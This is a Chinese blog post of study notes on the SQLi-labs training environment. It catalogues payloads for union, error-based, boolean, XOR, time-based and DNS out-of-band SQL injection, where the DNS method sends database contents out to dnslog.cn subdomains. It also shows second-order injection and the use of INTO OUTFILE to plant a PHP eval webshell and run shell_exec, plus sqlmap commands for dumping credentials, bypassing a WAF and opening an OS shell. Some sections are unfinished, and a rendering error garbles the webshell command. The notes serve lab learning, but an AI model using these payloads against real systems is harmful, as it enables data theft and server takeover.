SQL-LESS注入

知识扩展:

系统库:information_schema
	系统库下的所有数据表:tables
		数据表所属的数据库:table_schema
		数据表名:table_name
	系统库下的所有字段:columns
		数据表所属的数据库:table_schema
		数据表名:table_name
		字段名:column_name
limit 参数1,参数2:参数1是需要显示的行的数据,参数二是需要显示的行数。
substr((需要执行的字段),1,10):从第一个字符开始输出10个字符。

注入步骤:

1.测试注入点:?id=1' and 1=1 --+
2.判断闭合字符:?id=1' and 1=1 --+
3.测试列数:?id=1' order by 列数 --+
4.判断显示位:?id=1'  and 1=2 union select 1,2,3 --+
5.查看数据库:?id=1'  and 1=2 union select 1,2,database() --+
6.查看数据库下的数据表名:
	逐个查询:?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+
	联合查询:?id=1' and 1=3 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
	id为-1时,可以不写 and 1=2,直接输入?id=-1' union select ~~~~~
7.查看数据库下的数据表字段名:
	逐个查询:?id=1'and 1=2 union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1--+
	联合查询:?id=1'and 1=3 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
	指定输出字符的个数:?id=1'and 1=2 union select 1,2,substr(group_concat(column_name),1,10) from information_schema.columns where table_schema='security' and table_name='users'--+
	输出字段中的数据:
	逐个查询:?id=1'and 1=1 union select 1,2,concat(username,0x23,password) from security.users limit 0,1--+
	联合查询:?id=1'and 1=2 union select 1,2,group_concat(username,0x23,password) from security.users--+

根据布尔返回值或ASCII码查询库名:

可以通过burpsuit爆破来查看数据库的第一个字母:Less-5/?id=1' and left((select database()),1)='s' --+
通过ascll码来判断数据库名的字母组成:
通过sleep延迟查看闭合字符:?id=1'and sleep(5)     当字符正确时延迟5秒,否则快速回显。
通过ASCII码来判断数据库名的字母组成:Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=99 --+                            通过>=<

错误注入:

  **updatexml错误回显:**

爆库名:Less-5/?id=1' and updatexml(1,concat(0x23,(database()),0x23),1)  --+
爆数据表名:Less-5/?id=1' and updatexml(1,concat(0x23,(select group_concat(table_ ame) from information_schema.tables where table_schema='security'),0x23),1)  --+
爆字段名:Less-5/?id=1' and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x23),1)  --+
爆数据:Less-5/?id=1' and updatexml(1,concat(0x23,(select group_concat(username,0x23,password) from security.users),0x23),1)  --+


  **exp错误回显:**

爆库名:/Less-6/?id=1" and exp(~(select*from(select database())a)) --+ “a是别名,可以是任意字母”
爆数据表名:/Less-6/?id=1" and exp(~(select*from(select group_concat(table_name) from information_schema.tables where table_schema='security')a)) --+        “a是别名,可以是任意字母”
爆字段名:Less-6/?id=1" and exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')a)) --+      “a是别名,可以是任意字母”
爆数据:/Less-6/?id=1" and exp(~(select*from(select group_concat(username,0x23,password) from security.users)a)) --+  “a是别名,可以是任意字母”

**根据count(*) group by错误回显**
爆库名:/Less-6/?id=1" and (select * from (select count(*),(concat(database(),floor(rand(0)*2)))x from information_schema.tables group by x)a)  --+
爆表名:/Less-6/?id=1" and (select * from (select count(*),(concat((select table_name from information_schema.tables where table_schema="security" limit 3,1),floor(rand(0)*2)))x from information_schema.tables group by x)a)  --+
爆字段:/Less-6/?id=1" and (select * from (select count(*),(concat((select column_name from information_schema.columns where table_schema="security" and table_name='users' limit 2,1),floor(rand(0)*2)))x from information_schema.columns group by x)a)  --+
爆数据:/Less-6/?id=1" and (select * from (select count(*),(concat((select username from users limit 3,1),floor(rand(0)*2)))x from information_schema.tables group by x)a)  --+

布尔盲注:

	所有库:
	 information_schema     challenges    mysql    performance_schema       security
	security库的所有表: emails      referers      uagents          users
	users表的所有字段与数据: 
	id          username          password   
	1			  Dumb              Dumb       
	2			Angelina          I-kill-you 
	3	 	      Dummy           p@ssword   
	4	 	     secure            crappy    
	5		     stupid           stupidity  
	6		    superman            genious    
	7	 	     batman             mob!le     
	8	 	     admin              admin      
	9	 	    admin1              admin1     
    10	 	    admin2              admin2     
	11	 	    admin3              admin3     
	12	 	    dhakkan             dumb
	13	 	    admin4              admin4

查数据库名的字符数:/Less-6/?id=1" and length(database())=8--+  数据库名一共有八个字符组成。
爆库名的第一个字符:/Less-6/?id=1" and ascii(substr(database(),1,1))=115 --+
爆库名的最后一个字符:/Less-6/?id=1" and ascii(substr(database(),8,1))=121 --+
查数据库中数据表的个数:/Less-6/?id=1" and (select count(table_name) from information_schema.tables where table_schema='security')=4 --+    数据库名一共有4个数据表。
查看数据库中的第一个数据表名的字符长度:/Less-6/?id=1" and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+
查看数据库中的第最后一个数据表名的字符长度:/Less-6/?id=1" and length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5 --+
查看security数据库的最后一个(第四个)数据表名(users)的第一个字符:/Less-6/?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117--+      u的ASCII码为117
查看security数据库的最后一个(第四个)数据表名(users)的最后一个字符:/Less-6/?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),5,1))=115--+      s的ASCII码为115
查看security数据库中的users数据表中的字段的个数:/Less-6/?id=1" and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3--+    一共有三个字段
查看security数据库中的users数据表中的第一个字段的个数:/Less-6/?id=1" and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2--+
查看security数据库中的users数据表中的最后一个字段的个数:/Less-6/?id=1" and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))=8--+
查看security数据库中的users数据表中的第一个字段的第一个字符:/Less-6/?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+
查看security数据库中的users数据表中的最后一个字段的第一个字符:/Less-6/?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),2,1))=97--+
查看security数据库中的users数据表中的最后一个字段的第二个字符:/Less-6/?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,1))=105--+
查看security数据库中的users数据表中的paasword字段中的数据个数:/Less-6/?id=1" and (select count(password) from users)=13--+
查看security数据库中的users数据表中的paasword字段中的第一个数据(Dumb)的字符个数:/Less-6/?id=1" and length((select password from users limit 0,1))=4--+
查看security数据库中的users数据表中的paasword字段中的第六个数据(genious)的字符个数:/Less-6/?id=1" and length((select password from users limit 5,1))=7--+
查看security数据库中的users数据表中的paasword字段中的第六个数据(genious)中第一个字符:/Less-6/?id=1" and ascii(substr((select password from users limit 5,1),1,1))=103--+
查看security数据库中的users数据表中的paasword字段中的第六个数据(genious)中最后一个字符:/Less-6/?id=1" and ascii(substr((select password from users limit 5,1),7,1))=115--+
查看security数据库中的users数据表中的username字段中的第六个数据(superman)中第七个字符:/Less-6/?id=1" and ascii(substr((select username from users limit 5,1),7,1))=97--+
已知用户admin查看密码字符的个数:/Less-6/?id=1" and length((select password from users where username='admin'))=5--+
已知用户admin查看密码的第一个字符:/Less-6/?id=1" and ascii(substr((select password from users where username='admin'),1,1))=97--+

异或注入:

1^1=0    1^0=1   0^1=1    0^0=0
两个条件都为真时或都为假时,页面显示为假时的信息,
两个条件一个为真,一个为假时,页面显示为真时的信息,
与上一个案例显示结果正好相反。
查数据库名的字符数:/Less-8/?id=1'^(length(database())=8) --+ 数据库名一共有八个字符组成。
爆库名的第一个字符:/Less-8/?id=1'^(ascii(substr(database(),1,1))=115) --+
爆库名的最后一个字符:/Less-8/?id=1'^(ascii(substr(database(),8,1))=121) --+
查数据库中数据表的个数:/Less-8/?id=1'^((select count(table_name) from information_schema.tables where table_schema='security')=4) --+       	      数据库名一共有4个数据表。
查看数据库中的第一个数据表名的字符长度:/Less-8/?id=1'^(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6)-- +
查看数据库中的第最后一个数据表名的字符长度:/Less-8/?id=1'^(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5)-- +
查看security数据库的最后一个(第四个)数据表名(users)的第一个字符:/Less-8/?id=1'^(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117)-- +    u的ASCII码为117
查看security数据库的最后一个(第四个)数据表名(users)的最后一个字符:/Less-8/?id=1'^(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),5,1))=115)-- +    s的ASCII码为115
查看security数据库中的users数据表中的字段的个数:    一共有三个字段
查看security数据库中的users数据表中的第一个字段的个数:
查看security数据库中的users数据表中的最后一个字段的个数:
查看security数据库中的users数据表中的第一个字段的第一个字符:
查看security数据库中的users数据表中的最后一个字段的第一个字符:
查看security数据库中的users数据表中的最后一个字段的第二个字符:
查看security数据库中的users数据表中的paasword字段中的数据个数:
查看security数据库中的users数据表中的paasword字段中的第一个数据(Dumb)的字符个数:
查看security数据库中的users数据表中的paasword字段中的第六个数据(genious)的字符个数:
查看security数据库中的users数据表中的paasword字段中的第六个数据(genious)中第一个字符:
查看security数据库中的users数据表中的paasword字段中的第六个数据(genious)中最后一个字符:
查看security数据库中的users数据表中的username字段中的第六个数据(superman)中第七个字符:
已知用户admin查看密码字符的个数:
已知用户admin查看密码的第一个字符:

延时(时间性)盲注:

if(条件,条件为真时执行的语句,条件为假时执行的语句)
示例:if(length(database()>10),sleep(3),1)
sleep(5):延时五秒。
查数据库名的字符数:/Less-8/?id=1' and if(length(database())=8,sleep(7),1)-- +   条件为真时,页面显示延时7秒,所以数据库名一共有八个字符组成。
爆库名的第一个字符:/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(8),1)-- +
爆库名的最后一个字符:/Less-8/?id=1' and if(ascii(substr(database(),8,1))=121,sleep(8),1)-- +
查数据库中数据表的个数:/Less-8/?id=1' and if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(8),1)-- +
查看数据库中的第一个数据表名的字符长度:/Less-8/?id=1' and if(length((select table_name from information_schema.tables where table_schema='security'limit 0,1))=6,sleep(8),1)-- +
查看数据库中的第最后一个数据表名的字符长度:/Less-8/?id=1' and if(length((select table_name from information_schema.tables where table_schema='security'limit 3,1))=5,sleep(8),1)-- +
查看security数据库的最后一个(第四个)数据表名(users)的第一个字符:/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security'limit 3,1),1,1))>0,sleep(8),1)-- +
查看security数据库的最后一个(第四个)数据表名(users)的最后一个字符:/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security'limit 3,1),5,1))>0,sleep(8),1)-- +
查看security数据库中的users数据表中的字段的个数:/Less-8/?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(8),1)-- +
查看security数据库中的users数据表中的第一个字段的个数:
查看security数据库中的users数据表中的最后一个字段的个数:
查看security数据库中的users数据表中的第一个字段的第一个字符:
查看security数据库中的users数据表中的最后一个字段的第一个字符:
查看security数据库中的users数据表中的最后一个字段的第二个字符:
查看security数据库中的users数据表中的paasword字段中的数据个数:
查看security数据库中的users数据表中的paasword字段中的第一个数据(Dumb)的字符个数:
查看security数据库中的users数据表中的paasword字段中的第六个数据(genious)的字符个数:
查看security数据库中的users数据表中的paasword字段中的第六个数据(genious)中第一个字符:
查看security数据库中的users数据表中的paasword字段中的第六个数据(genious)中最后一个字符:
查看security数据库中的users数据表中的username字段中的第六个数据(superman)中第七个字符:
已知用户admin查看密码字符的个数:
已知用户admin查看密码的第一个字符:

DNS获取库名:(使用条件:必须是Windows系统)
先进入http://www.dnslog.cn/,点击Get SubDomain获取域名,在LESS中输入相关的代码,点击Run运行后,回到http://www.dnslog.cn/,点击Refresh Record,就可以看到相关的信息。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

获取库名:
/Less-8/?id=1'and load_file(concat('\\\\',hex(database()),'.7pli0n.dnslog.cn\\index.php')) --+
直接获取:
	获取表的个数:/Less-8/?id=1'and load_file(concat('\\\\',(select count(table_name) from information_schema.tables where table_schema='security'),'.yx6wud.dnslog.cn\\index.php')) -- +
	获取第一个数据表名:/Less-8/?id=1'and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.i7o8c4.dnslog.cn\\index.php')) -- +
	获取数据表users中的字段个数:/Less-8/?id=1'and load_file(concat('\\\\',(select count(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'.2a8mj3.dnslog.cn\\index.php')) -- +
	获取数据表users中的第一个字段id字段:/Less-8/?id=1'and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.i7o8c4.dnslog.cn\\index.php')) -- +
	获取数据表users中的第二个字段username字段中数据个数:/Less-8/?id=1'and load_file(concat('\\\\',(select count(username) from security.users),'.yx6wud.dnslog.cn\\index.php')) -- +
	获取数据表users中的第二个字段username字段中的第九个数据admin1:/Less-8/?id=1'and load_file(concat('\\\\',(select username from security.users limit 8,1),'.i7o8c4.dnslog.cn\\index.php')) -- +
	获取用户名为admin1的密码:cha/Less-8/?id=1'and load_file(concat('\\\\',(select password from security.users where username='admin1'),'.5mp2bg.dnslog.cn\\index.php')) -- +
转换hex()获取:
	获取表名:/Less-8/?id=1'and load_file(concat('\\\\',hex((select table_name from information_schema.tables where table_schema='security' limit 0,1)),'.cy4tkc.dnslog.cn\\index.php')) --+
	获取表名:/Less-8/?id=1'and load_file(concat('\\\\',hex(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)),'.7dbhbs.dnslog.cn\\index.php')) -- + 因为DNS输出时不可以有逗号,所以在使用group_concat时只能使用hex()。
	100的意思是从第一个开始输出100个字符,因为所有的表名加起来不到100个字符,所以可以看到输出全部的表的字符,也就是表名。
获取字段名:

必须是gbk编码:
/正好是伪字节

堆叠注入:
两个查询语句,用分号;分隔

二次注入 Less-24
首先注册一个账户admin’#
设置密码为123456
登录此账号,修改密码为111111
因为在源代码中账户admin’#中的单引号 ’ 与前面的单引号 ’ 闭合,#就是注释掉以后的代码,所以我们就得到了一个新的账户admin,密码与admin’#一样,都是111111。

SQL注入上传一句话木马并写入到新建abc.php中,abc.php不用自己新建,执行代码时会自动创建并写入到abc.php中:http://127.0.0.1/Less-2/?id=-1 union select 1,’<?php @eval($_POST[123]);?>’,3 into outfile ‘D:/phpstudy_pro/WWW/sqli-labs-master/abc.php’–+
在这里插入图片描述

可以在phpstudy文件根目录中查看,是否上传成功
在这里插入图片描述在这里插入图片描述访问木马(http://127.0.0.1/abc.php)页面
在这里插入图片描述查看ipconfig:
123=
$c=shell_exec(ipconfig);
KaTeX parse error: Can't use function '\"' in math mode at position 7: html.=\̲"̲<pre>{c}";
echo $html;
如果不显示,可能是hackbar版本的问题,重新添加插件Max HackBar
在这里插入图片描述

php审计
流量分析

sqlmap注入:Less-1,2,3,4
选中文件路径,输入cmd,回车
在这里插入图片描述
输入python2 sqlmap.py的页面,
在这里插入图片描述

	python2 sqlmap.py -u http://127.0.0.1/Less-2/?id=1 --current-db  		当前库
	python2 sqlmap.py -u http://127.0.0.1/Less-2/?id=1 --dbs 		 所有库
	python2 sqlmap.py -u http://127.0.0.1/Less-2/?id=1 -D security --table 		当前security库的所有表
	python2 sqlmap.py -u http://127.0.0.1/Less-2/?id=1 -D security -T users --columns  		当前security库的users表中的所有字段
	python2 sqlmap.py -u http://127.0.0.1/Less-2/?id=1 -D security -T users -C username,password --dump  当前			security库的users表中的所有username与password

sqlmap绕过防火墙注入(添加脚本):Less-32,33

python2 sqlmap.py -u http://127.0.0.1/Less-33/?id=1 --tamper "unmagicquotes" --dbs   所有库
与sqlmap注入一样,就是多了个--tamper "unmagicquotes"

上传一句话木马python2 sqlmap.py -u http://127.0.0.1/Less-3/?id=1 --os-shell

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值